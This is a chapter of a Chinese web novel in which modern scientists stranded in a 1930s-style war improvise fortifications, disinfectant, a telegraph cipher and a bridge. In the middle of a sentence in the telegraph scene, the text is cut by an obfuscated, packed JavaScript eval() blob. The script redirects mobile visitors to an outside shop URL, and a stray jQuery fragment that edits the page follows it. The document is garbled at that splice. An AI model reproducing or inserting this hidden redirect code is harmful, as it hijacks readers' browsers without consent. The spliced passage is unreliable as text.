城北兵工厂分厂。
说是工厂，其实就是几间用石头和夯土搭起来的大棚子，屋顶盖着瓦片，但有不少已经碎了，用油布和稻草补着。里面摆着几台老旧的机床，有的还在转，发出嘎吱嘎吱的声响，像是一个老人在咳嗽；有的已经趴窝，上面长了一层锈，看上去像是死了很久。空气里弥漫着铁锈和机油的味道，混着煤烟的呛人气息，吸一口嗓子就发辣。
林叙和陈墨跟着一个矮胖的工头走进车间。工头叫老孙，在这里干了十几年，手上的茧子比脚上的还厚，脸上的皱纹像是被刀刻出来的。他穿着一件油渍斑斑的工作服，袖口磨得只剩半截，脚上是一双破了洞的布鞋。
"你们就是周教授派来的？"老孙上下打量着他们，目光里带着怀疑。他大概在想：这么年轻，能干什么？
"孙师傅，"林叙上前一步，不卑不亢，"我们知道条件有限。但我们想看看现有的工事材料是什么样的，也许能改进。"
老孙叹了口气，把他们带到墙角。那里堆着几块夯土板，是用来加固防御工事的。每块大约半米见方，十厘米厚，表面粗糙，有的已经开裂了。林叙蹲下来，用手指抠了抠土板的表面——指甲轻易就抠进去了一层，土质疏松，夹杂着稻草的碎屑。他又敲了敲，听声音——沉闷、松散，像是敲在一块干透的泥巴上。
"黏土比例太高，"他说，"没有加骨料，干透以后一炸就碎。稻草加得也不均匀，有的地方多，有的地方少，受力不均。"
"谁说不是呢。"老孙蹲下来，从口袋里掏出一根皱巴巴的烟，没点，就叼在嘴里过过瘾——烟叶早就断供了，这根烟他叼了三天了，"之前的配方是老匠人传下来的，黏土加稻草，夯实了就用。以前打打土匪够用了，但狄戎的炮太猛了，一炮下来，工事跟纸糊的一样。上个月送了一批到前线，一个连的弟兄躲在工事后面，一发炮弹过来，工事塌了……"
他没说下去，但嘴角抽了一下。
陈墨已经在翻旁边的材料清单了。清单写在一张皱巴巴的纸上，字迹模糊，有些地方被水渍浸得看不清了。他一边看一边皱眉："没有水泥，没有钢筋，连石灰都缺……"
"石灰上个月还有一点，"老孙说，"后来路断了，运不进来。那条路是走水运的，船被炸沉了两艘，剩下的不敢走了。"
林叙和陈墨对视一眼。没有水泥，没有钢筋，没有石灰——现代土木工程最基本的三样东西，一样都没有。他们面对的是一个几乎从零开始的局面。
"但是，"林叙站起来，环顾四周。他的目光在车间里扫了一圈，像是在搜寻什么。角落里堆着竹子、木头、稻草，还有一堆黑乎乎的东西。
"这里有什么？"
老孙愣了愣："你要啥？"
"我是说，这片土地上有什么。"
老孙想了想，掰着手指头数："土。石头。竹子——山上多得是。木头。稻草。还有……"他看了看角落里一堆黑乎乎的东西，走过去踢了一脚，"桐油。前年攒下来的，本来准备刷船用的，一直没用上。还有不少。"
林叙的眼睛亮了。
他蹲下来，在地上画了一个草图。铅笔在泥地上划出清晰的线条。"传统的夯土工事，最大的问题是抗冲击性差。黏土干了以后脆，一受力就开裂。冲击波一来，整块碎裂。但如果我们在里面加入竹筋——"
"竹子？"老孙瞪大眼睛。
"对，竹子。"林叙画了一个剖面图——夯土层的中间夹着竹编网格。"竹子的抗拉强度很高，有些品种甚至能达到普通钢材的三分之一。我们把竹子劈成条，编成网，夹在夯土层中间。就像混凝土里的钢筋一样。冲击力来的时候，竹筋能把力量分散开，不至于整块碎裂。"
陈墨立刻接上了。他的脑子转得很快——化学博士对材料的理化性质有一种本能的敏感。"而且，如果我们在夯土里加入一定比例的熟石灰和桐油，可以大幅提高防水性和整体强度。桐油在传统建筑里本来就用来防水，但没有人想过把它加到夯土里。桐油是疏水的，它可以在夯土内部形成一层疏水膜，减少水分对黏土的侵蚀。而且桐油固化以后有一定的韧性，可以增加夯土板的整体性。"
"石灰呢？"老孙问，"石灰不是运不进来了吗？"
"石灰可以用贝壳或者石灰石烧制，"陈墨说，"这附近有石灰石吗？"
"有！西山那边有！"老孙一拍大腿，"以前有人烧过，后来打仗了，没人干了。"
"那就行了。我们自己烧。"
老孙听得一愣一愣的，半晌才说："你们说的那些……能行？"
"不知道，"林叙诚实地说，"但不试怎么知道？"
老孙沉默了一会儿。他从口袋里掏出那根叼了三天的烟，在手指间转了转，又塞了回去。然后他做了一件让林叙和陈墨都没想到的事——他走到车间角落，搬出了一摞笔记本。
"这是什么？"林叙问。
"以前厂里老师傅们留下的。"老孙翻开一本，里面密密麻麻写满了配方和实验记录，"他们也在琢磨怎么让工事更结实。可惜没琢磨出来。条件太差了，好多东西买不到。"
他把笔记本递给林叙。
"你看看吧。也许有用。"
林叙接过来，翻了翻。那些记录字迹潦草，有些地方已经被水渍浸得看不清了。但他越看越惊讶——这些老师傅虽然没受过正规的材料学训练，但他们对当地材料的了解远比书本上写的深入。他们知道哪种黏土烧出来最硬，哪种竹子劈开后韧性最好，哪种桐油固化以后最防水。
"这些东西太有价值了，"林叙说，"我们可以把他们的经验和我们的理论结合起来。"
"那就结合。"老孙说，"反正都是为了让工事更结实。"
老孙把烟从嘴里拿下来，在手里转了两圈。他看了看那两个年轻人——一个画着草图，一个已经在纸上列配方了——忽然一拍大腿："行！干！反正也没啥好损失的！大不了多浪费几担土！"
他冲里面喊了一嗓子："小赵！把竹仓库打开！再叫几个人来搬桐油！西山那边的石灰石，明天找人拉一批回来！"
林叙和陈墨就这样开始了他们的工作。没有精密仪器，没有标准化流程，甚至连一张像样的实验台都没有。他们在一块石板上做配比实验，用手感受土的干湿——"这个太干了，再加两瓢水"，用眼睛判断混合物的均匀度——"桐油加多了，颜色太深"，用嘴巴尝土壤的酸碱度——"碱性不够，石灰再加一些"。
老孙在旁边看着，从最初的怀疑变成了佩服。他干了十几年的活，从来没有见过有人这样做事——用手当仪器，用嘴当试剂，用脑子当计算机。
与此同时，城西临时医院。
说是医院，其实就是一间大庙。正殿的佛像早就不知道搬哪去了——也许是被人砸了当石头用了，也许是被搬去修工事去了。佛像原来的位置上铺满了稻草，一层叠一层，上面躺着大大小小的伤员。有的缠着绷带，绷带上渗着血，已经变成了暗褐色；有的直接拿布条扎着伤口，布条是撕下来的衣服袖子；有的在发烧说胡话，嘴里喊着"娘"或者"连长"或者一些听不清的话；有的安静地躺着一动不动，脸上的表情出奇地平静，让人分不清是睡着了还是——
温念念不敢想。
空气里弥漫着消毒水——不，不是消毒水，是烈酒和草药混合的味道，还夹杂着一股若有若无的腐臭。那是伤口化脓的味道，温念念在急诊实习的时候闻到过一次，到现在还能在噩梦里闻到。
一个穿灰色大褂的中年女人走过来，脸上带着疲惫的黑眼圈，头发用一根布条扎着，大褂的下摆沾着血迹。她是这里的负责人，姓孟，大家都叫她孟姐。她在这里已经三个月了，三个月没回过家——家在城东，已经被炸成了一片废墟。
"新来的？"孟姐看了看温念念和苏晚，目光干练，"会什么？"
"我会外科手术和急救。"温念念说。
"会缝合？"
"会。"
"好，那边有个战士腿上中了弹片，已经化脓了，你给处理一下。"孟姐指了指角落里一个年轻的士兵。
温念念快步走过去。那个士兵大概十八九岁，脸色苍白，嘴唇干裂，腿上的伤口已经化脓了——弹片还留在肉里，伤口周围红肿发亮，散发着恶臭。他看到温念念过来，挤出一个笑，那笑容在苍白的脸上显得特别扎眼。
"护士姐姐，我这腿……还能保住吧？"
温念念蹲下来检查伤口。没有麻醉——麻醉药品早就用完了；没有手术室——这只是一间庙；没有抗生素——奎宁都断供了，抗生素更是想都不要想。她只有一把煮沸过的刀——煮沸的时间不够长，但她没有别的选择；几卷不知道洗了多少遍的纱布，纱布已经发灰了，但好歹是干净的；还有一瓶度数不够高的烈酒，大概三十几度，远达不到医用消毒的标准。
她深吸一口气。
"能保住。"她说，声音稳定而温和。她不能告诉他实话。她没有条件告诉他实话。
她开始手术。刀尖探入伤口的时候，那个战士咬住了一条皮带，额头上青筋暴起，但硬是一声没吭。温念念的手很稳——比她自己想象的还要稳。她用刀尖小心地探出弹片，用镊子夹住，一点一点地拔出来。弹片有拇指甲大小，带着暗红色的血和黄色的脓液。
"好了，"她说，"弹片取出来了。"
然后她用烈酒冲洗伤口——酒精浓度不够，但总比不冲好——然后用纱布包扎。整个过程中，那个战士一直咬着皮带，一声没吭。手术结束后，他松开皮带，嘴角流出一道血——他把嘴唇咬破了。
"谢谢护士姐姐。"他说。
温念念站起来，背过身去，偷偷擦了一下眼角。然后她转身，走向下一个病人。
苏晚那边已经开始了防疫工作。她在军营里转了一圈，越转脸色越难看。帐篷里的士兵挤在一起，通风极差，地上潮湿肮脏。她看到了典型的疟疾症状——高烧、寒战、出汗；看到了痢疾的症状——腹泻、脱水、虚脱；还有几个疑似伤寒的——持续高热、玫瑰疹、相对缓脉。
在拥挤的军营里，传染病一旦爆发，比敌人的炮火更致命。这不是猜测——历史上每一次大战役，死于疾病的士兵往往比死于战斗的还多。
"需要消毒液，"她对孟姐说，"大量的消毒液。还需要隔离措施——把有症状的人分开安置，不能挤在一起。"
"我们只有酒精，"孟姐摇头，"酒精都不够用。消毒伤口都不够，更别说大面积消毒了。"
苏晚的脑子里飞速运转。她是学微生物学的，对消毒方案烂熟于心。84消毒液——需要□□和氢氧化钠；碘伏——需要碘单质和表面活性剂；过氧乙酸——需要过氧化氢和乙酸。这些东西，这里一样都没有。
"有漂白粉吗？"
"没有。"
"有高锰酸钾？"
"那是什么？"
苏晚深吸一口气。冷静。冷静下来。她是科学家，科学家在有限的条件下也能找到办法。教科书上没有教过"如何在1930年代的战地条件下自制消毒液"，但基本原理是通用的。
"有石灰吗？生石灰？"
"有，山里烧的。还有不少。"
"有草木灰？"
"多得是。烧柴剩下的，到处都是。"
苏晚的眼睛亮了一下。石灰和草木灰——这是她小时候在乡下外婆家见过的东西。外婆用石灰水刷墙，用草木灰洗碗。那些最朴素的生活智慧，也许就是此刻唯一的出路。
"石灰加水变成熟石灰，熟石灰的上清液就是石灰水，呈强碱性，有消毒作用。草木灰的主要成分是碳酸钾，也呈碱性。如果我用石灰水和草木灰水配制消毒液……"
她一边想一边说，温念念在旁边听着，忽然抓住她的手："对！石灰水可以杀灭大部分肠道致病菌！虽然不如现代的含氯消毒液，但在没有条件的情况下，这是最可行的方案！我在外科实习的时候，看过文献，十九世纪的医院就用石灰水消毒，效果虽然有限，但在极端条件下是唯一的选择！"
"但我需要确认配比，"苏晚说，"浓度太低没用，太高会灼伤皮肤。我得做实验。"
"我去找材料。"温念念转身就跑。
她们就这样开始了。没有实验室——祠堂后面的一间杂物房被清理干净，勉强充当；没有精密天平——苏晚用竹筒做量杯，在竹筒壁上用刀刻了刻度；没有搅拌棒——用筷子代替；没有蒸馏水——用煮沸后冷却的雨水。她用最原始的方法——观察细菌在不同浓度石灰水培养基中的生长情况——来摸索最佳配比。
她把石灰水和草木灰水按照不同的比例混合，然后用干净的棉布条浸泡在混合液中，敷在已经感染的伤口上，观察效果。
这需要时间。而她们最缺的就是时间。
通讯总站设在城中心一座半塌的祠堂里。
张驰走进去的时候，被里面的景象震住了。十几台老式电报机摆成一排，滴滴答答的声音此起彼伏，像是某种奇怪的交响乐。墙上挂满了密码本和地图，有的地图已经被标注得密密麻麻，红蓝铅笔的线条交错在一起。地上散落着电报纸，有的写了一半就扔了，有的被揉成一团。十几个通讯兵在忙碌着，每个人的脸上都带着一种紧绷的疲惫——那是长期高度集中注意力之后的疲惫。
"新来的电报员？"一个瘦高个儿走过来，眼窝深陷，颧骨高耸，像是很久没有好好吃饭。他是通讯站的负责人，姓方，人称方站长。
"报告，我是新调来的。"张驰立正敬礼——动作倒是标准。他在现代虽然是个博士，但大学时参加过军训， basic training 的基本功还在。
方站长上下打量了他一眼："会发报？"
"会。"张驰说。他确实会——在现代社会，他的专业虽然是计算机科学，但他是无线电爱好者，大学时在业余无线电俱乐部玩过老式电报。手指在电报键上的感觉他至今还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764370|209648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
记得——滴、答、滴滴、答答。没想到这技能居然在这用上了。
"那好，你坐三号位。今天有批急电要发。"
张驰坐到三号位上，手指搭上电报键。键是铜质的，已经被磨得发亮，表面有一层薄薄的汗渍。旁边的通讯兵递过来一份电文，他扫了一眼——是一套三位数的密码编码系统，每个字对应一个三位数字，再转换成电报信号。
他看了看密码本，又看了看编码规则，忽然觉得哪里不对。他的职业本能被触动了——这是一个计算机博士面对信息安全问题时的本能反应。
"方站长，"他举手提问，"这个密码……是固定的映射表？"
"对，每个字对应一个固定数码。怎么了？"
"那……如果敌人缴获了密码本，不就全破了？所有电报都不设防了。"
方站长苦笑。那笑容里有一种深深的无奈："你以为我不知道？但上面就这么规定的。密码本每个月换一次，但换的频率不够。而且——"他压低声音，看了看周围，确认没有外人，"我怀疑有内鬼。上个月的密码，狄戎好像提前就知道了。我们的一次夜袭行动，还没出发就被伏击了。三十多个弟兄，回来不到十个。"
张驰的心沉了一下。
他低头看着手里的密码本，脑子里飞速运转。固定映射表——这是最原始的密码形式，在密码学上叫做"单表替换"。这种密码在计算机科学诞生之前就已经被淘汰了，因为它的弱点太明显：频率分析就能破译。
他虽然没有办法在这里搞出一套AES加密来——那需要计算机，需要数学，需要这个时代不具备的一切——但他可以做一些基本的改进。
"方站长，"他说，"如果我把编码规则改成动态的——每个字的编码不是固定的，而是根据位置和前后文变化呢？"
方站长愣了一下："说人话。"
"举个例子，'进'这个字，第一次出现的时候编码是347，第二次出现的时候就不是347了，而是根据某种规则变成另一个数。这样就算敌人拿到了密码本，也只能破译第一遍，第二遍就看不懂了。"
方站长的眼睛慢慢睁大了。他在这个岗位上干了五年，一直在跟密码安全做斗争。他知道现有的密码系统有致命的缺陷，但没有人能提出解决方案。直到此刻。
"你能做到？"
"给我一天时间。"张驰说。
他说这话的时候，语气出奇地认真。没有了平时插科打诨的影子，只有一个计算机博士面对最原始的信息安全问题时，那种纯粹的、职业性的专注。
梁栋被编入工程队的时候，队里正在修一座桥。
说是桥，其实就是一座简易的木桥，横跨在一条水流湍急的河上。河不宽，大约三十米，但水流极快，裹着上游冲下来的泥沙和树枝，发出哗哗的响声。这座桥是连接后方和前线的唯一通道——附近五十里内没有别的渡口。物资、人员、弹药、伤员都要从这里过。但三天前，狄戎的飞机把它炸了。
"三天了，"工程队的队长——一个皮肤黝黑的中年人，脸上有一道从额角到下巴的长疤——站在河边，指着对岸说，"物资全堆在对岸运不过来。前线的弹药撑不了几天了。"
梁栋看了看河面。河水浑浊，翻滚着泥沙。河里还有被炸毁的桥桩残骸，歪歪斜斜地戳在水面上，像是一排残缺的牙齿。
"原来的桥是什么样的？"他问。
"木桥。六根木桩支撑，上面铺木板。用了不到半年就炸了。"
"太简单了，"梁栋蹲下来，用手探了探河水的流速——水温冰冷，刺得手指发疼。他又看了看两岸的地形，用脚踩了踩河岸的土壤——砂质土，不够坚实，但下层应该是黏土。
"木桩太细，基础太浅，而且固定方式不对。直接插进河床里，水流一冲就晃。就算我重新修一座一模一样的，下次还会被炸。"
"那你说怎么办？"
梁栋沉默了一会儿。他看了看周围的材料——竹子、石头、木头、绳索。没有钢材，没有水泥，没有起重机。连一颗像样的铁钉都找不到。
"我可以用石笼做基础，"他慢慢说，大脑在飞速运转——大学三年的土木工程课程，结构力学、土力学、桥梁工程，所有的知识在这一刻都被调动了起来，"把石头装进竹笼里，沉到河底做桥墩。竹笼的柔性好，不容易被水流冲散——因为它是柔性结构，可以适应河床的变形。而且石笼之间可以互相连接，形成一个整体。桥面用木板和竹排双层结构，上面走人走车，下面是竹排的缓冲层。就算上面一层被炸了，下面一层还能撑住。"
队长看着他，目光里有一种审视。这个年轻人说的话他大部分听不懂，但他听懂了一件事：这个人在思考。
"你以前干过？"
"学过。"梁栋说。他没有说他是土木工程研三的学生，没有说他曾经在明亮的教室里用有限元分析软件模拟桥梁受力，没有说他的导师是国内桥梁工程的权威。那些在这里都没有意义。在这里，他只有自己的双手和脑子里的知识。
"开始吧。"队长说。
梁栋深吸一口气，脱掉上衣，跳进了河里。
河水冰冷刺骨，像无数根针同时扎进皮肤。水没到他的腰，水流冲击着他的身体，让他几乎站不稳。他咬着牙，在河底摸索着安放第一个竹笼。石头很重——每块都有二三十斤——水流很急，竹笼刚放下去就被冲歪了。他不得不一次次扶正、加固，用绳子把竹笼绑在预先打入河床的木桩上。
岸上的人看着他，有几个想下来帮忙，被他拦住了。
"你们在上面搬石头！我来下面放！上面的水浅，下面的水深，你们下来不安全！"
他的声音在河面上回荡，带着一种不容置疑的坚定。
他在水里泡了整整一个下午。等他爬上岸的时候，嘴唇发紫，浑身发抖，牙齿咯咯作响。双手被竹条划了好几道口子，有一条小腿被水下的碎石划了一道长长的口子，血混着河水往下淌。
但他的眼睛里有一种光。
"基础打好了，"他对队长说，声音有些发抖，但很清晰，"三个桥墩的位置都定好了。明天开始架桥面。"
队长递给他一碗姜汤，看着他一口灌下去，叹了口气："你们这些读书人……"
"不是读书人，"梁栋擦了擦嘴，姜汤的辣味在喉咙里烧着，"是修桥的。"
就这样，六个人分头扎进了各自的战场。
没有人在这个时候说"太难了"。没有人在这个时候说"我做不到"。
因为他们在路上看到了太多——那些饿着肚子的孩子，那些流着血的伤兵，那些在废墟里翻找家当的老人，那些把最后一碗粥端给别人的老太太。
这些人没有什么高深的知识，没有什么留洋学历，但他们在这片土地上顽强地活着，用尽全力。
他们能做的，仅仅是用自己的专业知识，在这个特定的时空里，尽一份力。
一份微小但真实的力。